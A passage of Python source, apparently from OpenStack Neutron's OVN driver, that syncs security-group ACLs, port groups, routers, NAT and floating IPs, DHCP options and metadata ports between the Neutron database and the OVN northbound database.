Create the port in OVN. This will include ACL and Address Set # updates as needed. self._ovn_client.create_port(ctx, port) def remove_common_acls(self, neutron_acls, nb_acls): """Take out common acls of the two acl dictionaries. @param neutron_acls: neutron dictionary of port vs acls @type neutron_acls: {} @param nb_acls: nb dictionary of port vs acls @type nb_acls: {} @return: Nothing, original dictionary modified """ for port in neutron_acls.keys(): for acl in list(neutron_acls[port]): if port in nb_acls and acl in nb_acls[port]: neutron_acls[port].remove(acl) nb_acls[port].remove(acl) def get_acls(self, context): """create the list of ACLS in OVN. @param context: neutron_lib.context @type context: object of type neutron_lib.context.Context @var lswitch_names: List of lswitch names @var acl_list: List of NB acls @var acl_list_dict: Dictionary of acl-lists based on lport as key @return: acl_list-dict """ lswitch_names = set([]) for network in self.core_plugin.get_networks(context): lswitch_names.add(network['id']) acl_dict, ignore1, ignore2 = ( self.ovn_api.get_acls_for_lswitches(lswitch_names)) acl_list = list(itertools.chain(*acl_dict.values())) acl_list_dict = {} for acl in acl_list: acl = acl_utils.filter_acl_dict( acl, extra_fields=['lport', 'lswitch']) key = acl['lport'] if key in acl_list_dict: acl_list_dict[key].append(acl) else: acl_list_dict[key] = list([acl]) return acl_list_dict def sync_port_groups(self, ctx): """Sync Port Groups between neutron and NB. @param ctx: neutron_lib.context @type ctx: object of type neutron_lib.context.Context """ neutron_sgs = {} neutron_pgs = set() with db_api.CONTEXT_READER.using(ctx): for sg in self.core_plugin.get_security_groups(ctx): pg_name = utils.ovn_port_group_name(sg['id']) neutron_pgs.add(pg_name) neutron_sgs[pg_name] = sg['id'] neutron_pgs.add(ovn_const.OVN_DROP_PORT_GROUP_NAME) ovn_pgs = set() port_groups = self.ovn_api.db_list_rows('Port_Group').execute() or [] for pg in port_groups: ovn_pgs.add(pg.name) add_pgs = neutron_pgs.difference(ovn_pgs) remove_pgs = ovn_pgs.difference(neutron_pgs) LOG.debug('Port Groups added %d, removed %d', len(add_pgs), len(remove_pgs)) if self.mode == SYNC_MODE_REPAIR: LOG.debug('Port-Group-SYNC: transaction started @ %s', str(datetime.now())) if add_pgs: db_ports = self.core_plugin.get_ports(ctx) ovn_ports = set(p.name for p in self.ovn_api.lsp_list().execute()) with self.ovn_api.transaction(check_error=True) as txn: pg = ovn_const.OVN_DROP_PORT_GROUP_NAME # Process default drop port group first if pg in add_pgs: txn.add(self.ovn_api.pg_add(name=pg, acls=[])) add_pgs.remove(pg) # Add ports to the drop port group. Only add those that # already exists in OVN. The rest will be added during the # ports sync operation later. for n_port in db_ports: if ((utils.is_security_groups_enabled(n_port) or utils.is_port_security_enabled(n_port)) and n_port['id'] in ovn_ports): txn.add(self.ovn_api.pg_add_ports( pg, n_port['id'])) for pg in add_pgs: # If it's a security group PG, add the ext id ext_ids = {ovn_const.OVN_SG_EXT_ID_KEY: neutron_sgs[pg]} txn.add(self.ovn_api.pg_add(name=pg, acls=[], external_ids=ext_ids)) # Add the ports belonging to the SG to this port group for n_port in db_ports: if (neutron_sgs[pg] in n_port['security_groups'] and n_port['id'] in ovn_ports): txn.add(self.ovn_api.pg_add_ports( pg, n_port['id'])) for pg in remove_pgs: txn.add(self.ovn_api.pg_del(pg)) LOG.debug('Port-Group-SYNC: transaction finished @ %s', str(datetime.now())) def _get_acls_from_port_groups(self): ovn_acls = [] acl_columns = (self.ovn_api._tables['ACL'].columns.keys() & set(ovn_const.ACL_EXPECTED_COLUMNS_NBDB)) acl_columns.discard('external_ids') for pg in self.ovn_api.db_list_rows('Port_Group').execute(): acls = getattr(pg, 'acls', []) for acl in acls: acl_string = {k: getattr(acl, k) for k in acl_columns} acl_string['port_group'] = pg.name ovn_acls.append(acl_string) return ovn_acls def sync_acls(self, ctx): """Sync ACLs between neutron and NB. @param ctx: neutron_lib.context @type ctx: object of type neutron_lib.context.Context @return: Nothing """ LOG.debug('ACL-SYNC: started @ %s', str(datetime.now())) neutron_acls = [] # if allow-stateless supported, we have to fetch groups to determine if # stateful is set if self._ovn_client.is_allow_stateless_supported(): for sg in self.core_plugin.get_security_groups(ctx): stateful = sg.get("stateful", True) pg_name = utils.ovn_port_group_name(sg['id']) for sgr in self.core_plugin.get_security_group_rules( ctx, {'security_group_id': sg['id']}): neutron_acls.append( acl_utils._add_sg_rule_acl_for_port_group( pg_name, stateful, sgr) ) else: # TODO(ihrachys) remove when min OVN version >= 21.06 for sgr in self.core_plugin.get_security_group_rules(ctx): pg_name = utils.ovn_port_group_name(sgr['security_group_id']) neutron_acls.append(acl_utils._add_sg_rule_acl_for_port_group( pg_name, True, sgr)) neutron_acls += acl_utils.add_acls_for_drop_port_group( ovn_const.OVN_DROP_PORT_GROUP_NAME) ovn_acls = self._get_acls_from_port_groups() # We need to remove also all the ACLs applied to Logical Switches def get_num_acls(ovn_acls): return len([item for sublist in ovn_acls for item in sublist[1]]) ovn_acls_from_ls = [(row.name, row.acls) for row in ( self.ovn_api._tables['Logical_Switch'].rows.values())] num_acls_to_remove_from_ls = get_num_acls(ovn_acls_from_ls) # Remove the common ones for na in list(neutron_acls): for ovn_a in ovn_acls: if all(item in na.items() for item in ovn_a.items()): neutron_acls.remove(na) ovn_acls.remove(ovn_a) break num_acls_to_add = len(neutron_acls) num_acls_to_remove = len(ovn_acls) + num_acls_to_remove_from_ls if 0 != num_acls_to_add or 0 != num_acls_to_remove: LOG.warning('ACLs-to-be-added %(add)d ' 'ACLs-to-be-removed %(remove)d', {'add': num_acls_to_add, 'remove': num_acls_to_remove}) if self.mode == SYNC_MODE_REPAIR: with self.ovn_api.transaction(check_error=True) as txn: for acla in neutron_acls: LOG.warning('ACL found in Neutron but not in ' 'OVN DB for port group %s', acla['port_group']) txn.add(self.ovn_api.pg_acl_add(**acla, may_exist=True)) with self.ovn_api.transaction(check_error=True) as txn: for aclr in ovn_acls: LOG.warning('ACLs found in OVN DB but not in ' 'Neutron for port group %s', aclr['port_group']) txn.add(self.ovn_api.pg_acl_del(aclr['port_group'], aclr['direction'], aclr['priority'], aclr['match'])) for aclr in ovn_acls_from_ls: # Remove all the ACLs from any Logical Switch if they have # any. Elements are (lswitch_name, list_of_acls). if len(aclr[1]) > 0: LOG.warning('Removing ACLs from OVN from Logical ' 'Switch %s', aclr[0]) txn.add(self.ovn_api.acl_del(aclr[0])) LOG.debug('ACL-SYNC: finished @ %s', str(datetime.now())) def _calculate_routes_differences(self, ovn_routes, db_routes): to_add = [] to_remove = [] for db_route in db_routes: for ovn_route in ovn_routes: if (ovn_route['destination'] == db_route['destination'] and ovn_route['nexthop'] == db_route['nexthop']): break else: to_add.append(db_route) for ovn_route in ovn_routes: for db_route in db_routes: if (ovn_route['destination'] == db_route['destination'] and ovn_route['nexthop'] == db_route['nexthop']): break else: to_remove.append(ovn_route) return to_add, to_remove def _calculate_fips_differences(self, ovn_fips, ovn_rtr_lb_pfs, db_fips): to_add = [] to_remove = [] ovn_pfs = utils.parse_ovn_lb_port_forwarding(ovn_rtr_lb_pfs) for db_fip in db_fips: # skip fips that are used for port forwarding if db_fip['id'] in ovn_pfs: continue for ovn_fip in ovn_fips: if (ovn_fip['logical_ip'] == db_fip['fixed_ip_address'] and ovn_fip['external_ip'] == db_fip['floating_ip_address']): break else: to_add.append(db_fip) for ovn_fip in ovn_fips: for db_fip in db_fips: if (ovn_fip['logical_ip'] == db_fip['fixed_ip_address'] and ovn_fip['external_ip'] == db_fip['floating_ip_address']): break else: to_remove.append(ovn_fip) return to_add, to_remove def _calculate_fip_pfs_differences(self, ovn_rtr_lb_pfs, db_pfs): to_add_or_update = set() to_remove = [] ovn_pfs = utils.parse_ovn_lb_port_forwarding(ovn_rtr_lb_pfs) # check that all pfs are accounted for in ovn_pfs by building # a set for each protocol and then comparing it with ovn_pfs db_mapped_pfs = {} for db_pf in db_pfs: fip_id = db_pf.get('floatingip_id') protocol = self.l3_plugin.port_forwarding.ovn_lb_protocol( db_pf.get('protocol')) db_vip = "{}:{} {}:{}".format( db_pf.get('floating_ip_address'), db_pf.get('external_port'), db_pf.get('internal_ip_address'), db_pf.get('internal_port')) fip_dict = db_mapped_pfs.get(fip_id, {}) fip_dict_proto = fip_dict.get(protocol, set()) fip_dict_proto.add(db_vip) if protocol not in fip_dict: fip_dict[protocol] = fip_dict_proto if fip_id not in db_mapped_pfs: db_mapped_pfs[fip_id] = fip_dict for fip_id in db_mapped_pfs: ovn_pfs_fip_id = ovn_pfs.get(fip_id, {}) # check for cases when ovn has lbs for protocols that are not in # neutron db if len(db_mapped_pfs[fip_id]) != len(ovn_pfs_fip_id): to_add_or_update.add(fip_id) continue # check that vips in each protocol are an exact match for protocol in db_mapped_pfs[fip_id]: ovn_fip_dict_proto = ovn_pfs_fip_id.get(protocol) if db_mapped_pfs[fip_id][protocol] != ovn_fip_dict_proto: to_add_or_update.add(fip_id) # remove pf entries that exist in ovn lb but have no fip in # neutron db. for fip_id in ovn_pfs: for db_pf in db_pfs: pf_fip_id = db_pf.get('floatingip_id') if pf_fip_id == fip_id: break else: to_remove.append(fip_id) return list(to_add_or_update), to_remove def _create_or_update_floatingip_pfs(self, context, fip_id, txn): self.l3_plugin.port_forwarding.db_sync_create_or_update( context, fip_id, txn) def _delete_floatingip_pfs(self, context, fip_id, txn): self.l3_plugin.port_forwarding.db_sync_delete( context, fip_id, txn) def sync_routers_and_rports(self, ctx): """Sync Routers between neutron and NB. @param ctx: neutron_lib.context @type ctx: object of type neutron_lib.context.Context @var db_routers: List of Routers from neutron DB @var db_router_ports: List of Router ports from neutron DB @var lrouters: NB dictionary of logical routers and the corresponding logical router ports. vs list-of-acls @var del_lrouters_list: List of Routers that need to be deleted from NB @var del_lrouter_ports_list: List of Router ports that need to be deleted from NB @return: Nothing """ if not utils.is_ovn_l3(self.l3_plugin): LOG.debug("OVN L3 mode is disabled, skipping " "sync routers and router ports") return LOG.debug('OVN-NB Sync Routers and Router ports started @ %s', str(datetime.now())) db_routers = {} db_extends = {} db_router_ports = {} for router in self.l3_plugin.get_routers(ctx): db_routers[router['id']] = router db_extends[router['id']] = {} db_extends[router['id']]['routes'] = [] db_extends[router['id']]['snats'] = [] db_extends[router['id']]['fips'] = [] db_extends[router['id']]['fips_pfs'] = [] if not router.get(l3.EXTERNAL_GW_INFO): continue gateways = self._ovn_client._get_gw_info(ctx, router) for gw_info in gateways: prefix = (constants.IPv4_ANY if gw_info.ip_version == constants.IP_VERSION_4 else constants.IPv6_ANY) if gw_info.gateway_ip: db_extends[router['id']]['routes'].append( {'destination': prefix, 'nexthop': gw_info.gateway_ip, 'external_ids': { ovn_const.OVN_ROUTER_IS_EXT_GW: 'true', ovn_const.OVN_SUBNET_EXT_ID_KEY: gw_info.subnet_id}}) if gw_info.ip_version == constants.IP_VERSION_6: continue if gw_info.router_ip and utils.is_snat_enabled(router): networks = ( self._ovn_client._get_v4_network_of_all_router_ports( ctx, router['id'])) for network in networks: db_extends[router['id']]['snats'].append({ 'logical_ip': network, 'external_ip': gw_info.router_ip, 'type': 'snat'}) fips = self.l3_plugin.get_floatingips( ctx, {'router_id': list(db_routers.keys())}) for fip in fips: db_extends[fip['router_id']]['fips'].append(fip) if self.pf_plugin: fip_pfs = self.pf_plugin.get_floatingip_port_forwardings( ctx, fip['id']) for fip_pf in fip_pfs: db_extends[fip['router_id']]['fips_pfs'].append(fip_pf) interfaces = self.l3_plugin._get_sync_interfaces( ctx, list(db_routers.keys()), [constants.DEVICE_OWNER_ROUTER_INTF, constants.DEVICE_OWNER_ROUTER_GW, constants.DEVICE_OWNER_DVR_INTERFACE, constants.DEVICE_OWNER_ROUTER_HA_INTF, constants.DEVICE_OWNER_HA_REPLICATED_INT]) for interface in interfaces: db_router_ports[interface['id']] = interface lrouters = self.ovn_api.get_all_logical_routers_with_rports() del_lrouters_list = [] del_lrouter_ports_list = [] update_sroutes_list = [] update_lrport_list = [] update_snats_list = [] update_fips_list = [] update_pfs_list = [] for lrouter in lrouters: ovn_rtr_lb_pfs = self.ovn_api.get_router_floatingip_lbs( utils.ovn_name(lrouter['name'])) if lrouter['name'] in db_routers: for lrport, lrport_nets in lrouter['ports'].items(): if lrport in db_router_ports: # We dont have to check for the networks and # ipv6_ra_configs values. Lets add it to the # update_lrport_list. If they are in sync, then # update_router_port will be a no-op. update_lrport_list.append(db_router_ports[lrport]) del db_router_ports[lrport] else: del_lrouter_ports_list.append( {'port': lrport, 'lrouter': lrouter['name']}) if 'routes' in db_routers[lrouter['name']]: db_routes = db_routers[lrouter['name']]['routes'] else: db_routes = [] if 'routes' in db_extends[lrouter['name']]: db_routes.extend(db_extends[lrouter['name']]['routes']) ovn_routes = lrouter['static_routes'] add_routes, del_routes = self._calculate_routes_differences( ovn_routes, db_routes) update_sroutes_list.append({'id': lrouter['name'], 'add': add_routes, 'del': del_routes}) ovn_fips = lrouter['dnat_and_snats'] db_fips = db_extends[lrouter['name']]['fips'] add_fips, del_fips = self._calculate_fips_differences( ovn_fips, ovn_rtr_lb_pfs, db_fips) update_fips_list.append({'id': lrouter['name'], 'add': add_fips, 'del': del_fips}) db_fips_pfs = db_extends[lrouter['name']]['fips_pfs'] add_fip_pfs, del_fip_pfs = self._calculate_fip_pfs_differences( ovn_rtr_lb_pfs, db_fips_pfs) update_pfs_list.append({'id': lrouter['name'], 'add': add_fip_pfs, 'del': del_fip_pfs}) ovn_nats = lrouter['snats'] db_snats = db_extends[lrouter['name']]['snats'] add_snats, del_snats = helpers.diff_list_of_dict( ovn_nats, db_snats) update_snats_list.append({'id': lrouter['name'], 'add': add_snats, 'del': del_snats}) else: del_lrouters_list.append(lrouter) lrouters_names = {lr['name'] for lr in lrouters} for r_id, router in db_routers.items(): if r_id in lrouters_names: continue LOG.warning("Router found in Neutron but not in " "OVN DB, router id=%s", router['id']) if self.mode == SYNC_MODE_REPAIR: try: LOG.warning("Creating the router %s in OVN NB DB", router['id']) self._ovn_client.create_router( ctx, router, add_external_gateway=False) if 'routes' in router: update_sroutes_list.append( {'id': router['id'], 'add': router['routes'], 'del': []}) if 'routes' in db_extends[router['id']]: update_sroutes_list.append( {'id': router['id'], 'add': db_extends[router['id']]['routes'], 'del': []}) if 'snats' in db_extends[router['id']]: update_snats_list.append( {'id': router['id'], 'add': db_extends[router['id']]['snats'], 'del': []}) if 'fips' in db_extends[router['id']]: update_fips_list.append( {'id': router['id'], 'add': db_extends[router['id']]['fips'], 'del': []}) if 'fips_pfs' in db_extends[router['id']]: add_fip_pfs = { db_pf['floatingip_id'] for db_pf in db_extends[router['id']]['fips_pfs']} update_pfs_list.append( {'id': router['id'], 'add': list(add_fip_pfs), 'del': []}) except RuntimeError: LOG.warning("Create router in OVN NB failed for router %s", router['id']) for rp_id, rrport in db_router_ports.items(): LOG.warning("Router Port found in Neutron but not in OVN " "DB, router port_id=%s", rrport['id']) if self.mode == SYNC_MODE_REPAIR: try: LOG.warning("Creating the router port %s in OVN NB DB", rrport['id']) router = db_routers[rrport['device_id']] self._ovn_client._create_lrouter_port( ctx, router, rrport) except RuntimeError: LOG.warning("Create router port in OVN " "NB failed for router port %s", rrport['id']) for rport in update_lrport_list: LOG.warning("Router Port port_id=%s needs to be updated " "for networks changed", rport['id']) if self.mode == SYNC_MODE_REPAIR: try: LOG.warning( "Updating networks on router port %s in OVN NB DB", rport['id']) self._ovn_client.update_router_port(ctx, rport) except RuntimeError: LOG.warning("Update router port networks in OVN " "NB failed for router port %s", rport['id']) with self.ovn_api.transaction(check_error=True) as txn: for lrouter in del_lrouters_list: LOG.warning("Router found in OVN but not in " "Neutron, router id=%s", lrouter['name']) if self.mode == SYNC_MODE_REPAIR: LOG.warning("Deleting the router %s from OVN NB DB", lrouter['name']) txn.add(self.ovn_api.delete_lrouter( utils.ovn_name(lrouter['name']))) for lrport_info in del_lrouter_ports_list: LOG.warning("Router Port found in OVN but not in " "Neutron, port_id=%s", lrport_info['port']) if self.mode == SYNC_MODE_REPAIR: LOG.warning("Deleting the port %s from OVN NB DB", lrport_info['port']) txn.add(self.ovn_api.delete_lrouter_port( utils.ovn_lrouter_port_name(lrport_info['port']), utils.ovn_name(lrport_info['lrouter']), if_exists=False)) for sroute in update_sroutes_list: if sroute['add']: LOG.warning("Router %(id)s static routes %(route)s " "found in Neutron but not in OVN", {'id': sroute['id'], 'route': sroute['add']}) if self.mode == SYNC_MODE_REPAIR: LOG.warning("Add static routes %s to OVN NB DB", sroute['add']) for route in sroute['add']: columns = {} if 'external_ids' in route: columns['external_ids'] = route['external_ids'] txn.add(self.ovn_api.add_static_route( utils.ovn_name(sroute['id']), ip_prefix=route['destination'], nexthop=route['nexthop'], **columns)) if sroute['del']: LOG.warning("Router %(id)s static routes %(route)s " "found in OVN but not in Neutron", {'id': sroute['id'], 'route': sroute['del']}) if self.mode == SYNC_MODE_REPAIR: LOG.warning("Delete static routes %s from OVN NB DB", sroute['del']) for route in sroute['del']: txn.add(self.ovn_api.delete_static_route( utils.ovn_name(sroute['id']), ip_prefix=route['destination'], nexthop=route['nexthop'])) for fip in update_fips_list: if fip['del']: LOG.warning("Router %(id)s floating ips %(fip)s " "found in OVN but not in Neutron", {'id': fip['id'], 'fip': fip['del']}) if self.mode == SYNC_MODE_REPAIR: LOG.warning( "Delete floating ips %s from OVN NB DB", fip['del']) for nat in fip['del']: self._ovn_client._delete_floatingip( nat, utils.ovn_name(fip['id']), txn=txn) if fip['add']: LOG.warning("Router %(id)s floating ips %(fip)s " "found in Neutron but not in OVN", {'id': fip['id'], 'fip': fip['add']}) if self.mode == SYNC_MODE_REPAIR: LOG.warning("Add floating ips %s to OVN NB DB", fip['add']) for nat in fip['add']: self._ovn_client._create_or_update_floatingip( nat, txn=txn) for pf in update_pfs_list: if pf['del']: LOG.warning("Router %(id)s port forwarding for floating " "ips %(fip)s found in OVN but not in Neutron", {'id': pf['id'], 'fip': pf['del']}) if self.mode == SYNC_MODE_REPAIR: LOG.warning( "Delete port forwarding for fips %s from " "OVN NB DB", pf['del']) for pf_id in pf['del']: self._delete_floatingip_pfs(ctx, pf_id, txn) if pf['add']: LOG.warning("Router %(id)s port forwarding for floating " "ips %(fip)s Neutron out of sync or missing " "in OVN", {'id': pf['id'], 'fip': pf['add']}) if self.mode == SYNC_MODE_REPAIR: LOG.warning("Add port forwarding for fips %s " "to OVN NB DB", pf['add']) for pf_fip_id in pf['add']: self._create_or_update_floatingip_pfs( ctx, pf_fip_id, txn) for snat in update_snats_list: if snat['del']: LOG.warning("Router %(id)s snat %(snat)s " "found in OVN but not in Neutron", {'id': snat['id'], 'snat': snat['del']}) if self.mode == SYNC_MODE_REPAIR: LOG.warning("Delete snats %s from OVN NB DB", snat['del']) for nat in snat['del']: txn.add(self.ovn_api.delete_nat_rule_in_lrouter( utils.ovn_name(snat['id']), logical_ip=nat['logical_ip'], external_ip=nat['external_ip'], type='snat')) if snat['add']: LOG.warning("Router %(id)s snat %(snat)s " "found in Neutron but not in OVN", {'id': snat['id'], 'snat': snat['add']}) if self.mode == SYNC_MODE_REPAIR: LOG.warning("Add snats %s to OVN NB DB", snat['add']) for nat in snat['add']: txn.add(self.ovn_api.add_nat_rule_in_lrouter( utils.ovn_name(snat['id']), logical_ip=nat['logical_ip'], external_ip=nat['external_ip'], type='snat')) LOG.debug('OVN-NB Sync routers and router ports finished %s', str(datetime.now())) def _sync_subnet_dhcp_options(self, ctx, db_networks, ovn_subnet_dhcp_options): LOG.debug('OVN-NB Sync DHCP options for Neutron subnets started') db_subnets = {} filters = {'enable_dhcp': [1]} for subnet in self.core_plugin.get_subnets(ctx, filters=filters): if (subnet['ip_version'] == constants.IP_VERSION_6 and subnet.get('ipv6_address_mode') == constants.IPV6_SLAAC): continue db_subnets[subnet['id']] = subnet del_subnet_dhcp_opts_list = [] for subnet_id, ovn_dhcp_opts in ovn_subnet_dhcp_options.items(): if subnet_id in db_subnets: network = db_networks[utils.ovn_name( db_subnets[subnet_id]['network_id'])] if constants.IP_VERSION_6 == db_subnets[subnet_id][ 'ip_version']: server_mac = ovn_dhcp_opts['options'].get('server_id') else: server_mac = ovn_dhcp_opts['options'].get('server_mac') dhcp_options = self._ovn_client._get_ovn_dhcp_options( db_subnets[subnet_id], network, server_mac=server_mac) # Verify that the cidr and options are also in sync. if dhcp_options['cidr'] == ovn_dhcp_opts['cidr'] and ( dhcp_options['options'] == ovn_dhcp_opts['options']): del db_subnets[subnet_id] else: db_subnets[subnet_id]['ovn_dhcp_options'] = dhcp_options else: del_subnet_dhcp_opts_list.append(ovn_dhcp_opts) for subnet_id, subnet in db_subnets.items(): LOG.warning('DHCP options for subnet %s is present in ' 'Neutron but out of sync for OVN', subnet_id) if self.mode == SYNC_MODE_REPAIR: try: LOG.debug('Adding/Updating DHCP options for subnet %s in ' ' OVN NB DB', subnet_id) network = db_networks[utils.ovn_name(subnet['network_id'])] # _ovn_client._add_subnet_dhcp_options doesn't create # a new row in DHCP_Options if the row already exists. # See commands.AddDHCPOptionsCommand. self._ovn_client._add_subnet_dhcp_options( subnet, network, subnet.get('ovn_dhcp_options')) except RuntimeError: LOG.warning('Adding/Updating DHCP options for subnet ' '%s failed in OVN NB DB', subnet_id) txn_commands = [] for dhcp_opt in del_subnet_dhcp_opts_list: LOG.warning('Out of sync subnet DHCP options for subnet %s ' 'found in OVN NB DB which needs to be deleted', dhcp_opt['external_ids']['subnet_id']) if self.mode == SYNC_MODE_REPAIR: LOG.debug('Deleting subnet DHCP options for subnet %s ', dhcp_opt['external_ids']['subnet_id']) txn_commands.append(self.ovn_api.delete_dhcp_options( dhcp_opt['uuid'])) if txn_commands: with self.ovn_api.transaction(check_error=True) as txn: for cmd in txn_commands: txn.add(cmd) LOG.debug('OVN-NB Sync DHCP options for Neutron subnets finished') def _sync_port_dhcp_options(self, ctx, ports_need_sync_dhcp_opts, ovn_port_dhcpv4_opts, ovn_port_dhcpv6_opts): LOG.debug('OVN-NB Sync DHCP options for Neutron ports with extra ' 'dhcp options assigned started') txn_commands = [] lsp_dhcp_key = {constants.IP_VERSION_4: 'dhcpv4_options', constants.IP_VERSION_6: 'dhcpv6_options'} ovn_port_dhcp_opts = {constants.IP_VERSION_4: ovn_port_dhcpv4_opts, constants.IP_VERSION_6: ovn_port_dhcpv6_opts} for port in ports_need_sync_dhcp_opts: if self.mode == SYNC_MODE_REPAIR: LOG.debug('Updating DHCP options for port %s in OVN NB DB', port['id']) set_lsp = {} for ip_v in [constants.IP_VERSION_4, constants.IP_VERSION_6]: dhcp_opts = ( self._ovn_client._get_port_dhcp_options( port, ip_v)) if not dhcp_opts or 'uuid' in dhcp_opts: # If the Logical_Switch_Port.dhcpv4_options or # dhcpv6_options no longer refers a port dhcp options # created in DHCP_Options earlier, that port dhcp # options will be deleted in the following # ovn_port_dhcp_options handling. set_lsp[lsp_dhcp_key[ip_v]] = [ dhcp_opts['uuid']] if dhcp_opts else [] else: # If port has extra port dhcp # options, a command will returned by # self._ovn_client._get_port_dhcp_options # to add or update port dhcp options. ovn_port_dhcp_opts[ip_v].pop(port['id'], None) dhcp_options = dhcp_opts['cmd'] txn_commands.append(dhcp_options) set_lsp[lsp_dhcp_key[ip_v]] = dhcp_options if set_lsp: txn_commands.append(self.ovn_api.set_lswitch_port( lport_name=port['id'], **set_lsp)) for ip_v in [constants.IP_VERSION_4, constants.IP_VERSION_6]: for port_id, dhcp_opt in ovn_port_dhcp_opts[ip_v].items(): LOG.warning( 'Out of sync port DHCPv%(ip_version)d options for ' '(subnet %(subnet_id)s port %(port_id)s) found in OVN ' 'NB DB which needs to be deleted', {'ip_version': ip_v, 'subnet_id': dhcp_opt['external_ids']['subnet_id'], 'port_id': port_id}) if self.mode == SYNC_MODE_REPAIR: LOG.debug('Deleting port DHCPv%d options for (subnet %s, ' 'port %s)', ip_v, dhcp_opt['external_ids']['subnet_id'], port_id) txn_commands.append(self.ovn_api.delete_dhcp_options( dhcp_opt['uuid'])) if txn_commands: with self.ovn_api.transaction(check_error=True) as txn: for cmd in txn_commands: txn.add(cmd) LOG.debug('OVN-NB Sync DHCP options for Neutron ports with extra ' 'dhcp options assigned finished') def _sync_metadata_ports(self, ctx, db_ports): """Ensure metadata ports in all Neutron networks. This method will ensure that all networks have one and only one metadata port. """ if not ovn_conf.is_ovn_metadata_enabled(): return LOG.debug('OVN sync metadata ports started') for net in self.core_plugin.get_networks(ctx): metadata_ports = self.core_plugin.get_ports( ctx, filters=dict( network_id=[net['id']], device_owner=[constants.DEVICE_OWNER_DISTRIBUTED])) if not metadata_ports: LOG.warning('Missing metadata port found in Neutron for ' 'network %s', net['id']) if self.mode == SYNC_MODE_REPAIR: try: # Create the missing port in both Neutron and OVN. LOG.warning('Creating missing metadadata port in ' 'Neutron and OVN for network %s', net['id']) self._ovn_client.create_metadata_port(ctx, net) except n_exc.IpAddressGenerationFailure: LOG.error('Could not allocate IP addresses for ' 'metadata port in network %s', net['id']) continue else: # Delete all but one DHCP ports. Only one is needed for # metadata. for port in metadata_ports[1:]: LOG.warning('Unnecessary DHCP port %s for network %s ' 'found in Neutron', port['id'], net['id']) if self.mode == SYNC_MODE_REPAIR: LOG.warning('Deleting unnecessary DHCP port %s for ' 'network %s', port['id'], net['id']) self.core_plugin.delete_port(ctx, port['id']) db_ports.pop(port['id'], None) port = metadata_ports[0] if port['id'] in db_ports.keys(): LOG.warning('Metadata port %s for network %s found in ' 'Neutron but not in OVN', port['id'], net['id']) if self.mode == SYNC_MODE_REPAIR: LOG.warning('Creating metadata port %s for network ' '%s in OVN', port['id'], net['id']) self._create_port_in_ovn(ctx, port) db_ports.pop(port['id']) if self.mode == SYNC_MODE_REPAIR: # Make sure that this port has an IP address in all the subnets self._ovn_client.update_metadata_port(ctx, net['id']) LOG.debug('OVN sync metadata ports finished') def sync_networks_ports_and_dhcp_opts(self, ctx): LOG.debug('OVN-NB Sync networks, ports and DHCP options started') db_networks = {} for net in self.core_plugin.get_networks(ctx): db_networks[utils.ovn_name(net['id'])] = net # Ignore the floating ip ports with device_owner set to # constants.DEVICE_OWNER_FLOATINGIP db_ports = {port['id']: port for port in self.core_plugin.get_ports(ctx) if not utils.is_lsp_ignored(port)} ovn_all_dhcp_options = self.ovn_api.get_all_dhcp_options() db_network_cache = dict(db_networks) ports_need_sync_dhcp_opts = [] lswitches = self.ovn_api.get_all_logical_switches_with_ports() del_lswitchs_list = [] del_lports_list = [] add_provnet_ports_list = [] del_provnet_ports_list = [] for lswitch in lswitches: if lswitch['name'] in db_networks: for lport in lswitch['ports']: if lport in db_ports: port = db_ports.pop(lport) if not utils.is_network_device_port(port): ports_need_sync_dhcp_opts.append(port) else: del_lports_list.append({'port': lport, 'lswitch': lswitch['name']}) db_network = db_networks[lswitch['name']] db_segments = self.segments_plugin.get_segments( ctx, filters={'network_id': [db_network['id']]}) segments_provnet_port_names = [] for db_segment in db_segments: physnet = db_segment.get(segment_def.PHYSICAL_NETWORK) pname = utils.ovn_provnet_port_name(db_segment['id']) segments_provnet_port_names.append(pname) if physnet and pname not in lswitch['provnet_ports']: add_provnet_ports_list.append( {'network': db_network, 'segment': db_segment, 'lswitch': lswitch['name']}) # Delete orhpaned provnet ports for provnet_port in lswitch['provnet_ports']: if provnet_port in segments_provnet_port_names: continue if provnet_port not in [ utils.ovn_provnet_port_name(v['segment']) for v in add_provnet_ports_list]: del_provnet_ports_list.append( {'network': db_network, 'lport': provnet_port, 'lswitch': lswitch['name']}) del db_networks[lswitch['name']] else: del_lswitchs_list.append(lswitch) for net_id, network in db_networks.items(): LOG.warning("Network found in Neutron but not in " "OVN DB, network_id=%s", network['id']) if self.mode == SYNC_MODE_REPAIR: try: LOG.debug('Creating the network %s in OVN NB DB', network['id']) self._ovn_client.create_network(ctx, network) except RuntimeError: LOG.warning("Create network in OVN NB failed for " "network %s", network['id']) self._sync_metadata_ports(ctx, db_ports) self._sync_subnet_dhcp_options( ctx, db_network_cache, ovn_all_dhcp_options['subnets']) for port_id, port in db_ports.items(): LOG.warning("Port found in Neutron but not in OVN " "DB, port_id=%s", port['id']) if self.mode == SYNC_MODE_REPAIR: try: LOG.debug('Creating the port %s in OVN NB DB', port['id']) self._create_port_in_ovn(ctx, port) if port_id in ovn_all_dhcp_options['ports_v4']: dhcp_disable, lsp_opts = utils.get_lsp_dhcp_opts( port, constants.IP_VERSION_4) if lsp_opts: ovn_all_dhcp_options['ports_v4'].pop(port_id) if port_id in ovn_all_dhcp_options['ports_v6']: dhcp_disable, lsp_opts = utils.get_lsp_dhcp_opts( port, constants.IP_VERSION_6) if lsp_opts: ovn_all_dhcp_options['ports_v6'].pop(port_id) except RuntimeError: LOG.warning("Create port in OVN NB failed for" " port %s", port['id']) with self.ovn_api.transaction(check_error=True) as txn: for lswitch in del_lswitchs_list: LOG.warning("Network found in OVN but not in " "Neutron, network_id=%s", lswitch['name']) if self.mode == SYNC_MODE_REPAIR: LOG.debug('Deleting the network %s from OVN NB DB', lswitch['name']) txn.add(self.ovn_api.ls_del(lswitch['name'])) for provnet_port_info in add_provnet_ports_list: network = provnet_port_info['network'] segment = provnet_port_info['segment'] LOG.warning("Provider network found in Neutron but " "provider network port not found in OVN DB, " "network_id=%(net)s segment_id=%(seg)s", {'net': network['id'], 'seg': segment['id']}) if self.mode == SYNC_MODE_REPAIR: LOG.debug('Creating the provnet port %s in OVN NB DB', utils.ovn_provnet_port_name(segment['id'])) self._ovn_client.create_provnet_port( network['id'], segment, txn=txn) for provnet_port_info in del_provnet_ports_list: network = provnet_port_info['network'] lport = provnet_port_info['lport'] lswitch = provnet_port_info['lswitch'] LOG.warning("Provider network port found in OVN DB, " "but not in neutron network_id=%(net)s " "port_name=%(lport)s", {'net': network, 'seg': lport}) if self.mode == SYNC_MODE_REPAIR: LOG.debug('Deleting the port %s from OVN NB DB', lport) 